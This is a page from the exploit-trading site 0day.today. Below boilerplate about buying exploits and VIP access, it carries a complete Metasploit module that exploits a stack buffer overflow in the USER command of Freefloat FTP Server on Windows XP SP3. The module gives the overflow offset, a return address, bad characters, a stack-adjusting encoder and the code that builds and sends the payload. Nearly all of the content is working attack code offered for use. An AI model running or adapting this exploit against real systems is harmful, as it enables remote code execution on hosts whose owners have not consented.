0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Free Float FTP Server USER Command Buffer Overflow Vulnerability
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Free Float FTP Server USER Command Buffer Overflow', 'Description' => %q{ Freefloat FTP Server is prone to an overflow condition. It fails to properly sanitize user-supplied input resulting in a stack-based buffer overflow. With a specially crafted 'USER' command, a remote attacker can potentially have an unspecified impact. }, 'Platform' => 'win', 'Author' => [ 'D35m0nd142', # Original exploit 'Doug Prostko <dougtko[at]gmail.com>' # MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '69621'], [ 'EDB', '23243'] ], 'Privileged' => false, 'Payload' => { 'Space' => 444, 'DisableNops' => true, 'BadChars' => "\x00\x0a\x0d", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Targets' => [ [ 'FreeFloat / Windows XP SP3', { 'Ret' => 0x77c35459 , # push esp; ret - mscvrt.dll 'Offset' => 230 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 12 2012')) end def check connect disconnect if (banner =~ /FreeFloat/) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def exploit connect buf = rand_text(target['Offset']) buf << [ target['Ret'] ].pack('V') buf << rand_text(8) buf << payload.encoded send_user(buf) disconnect end end # 0day.today [2024-07-02] #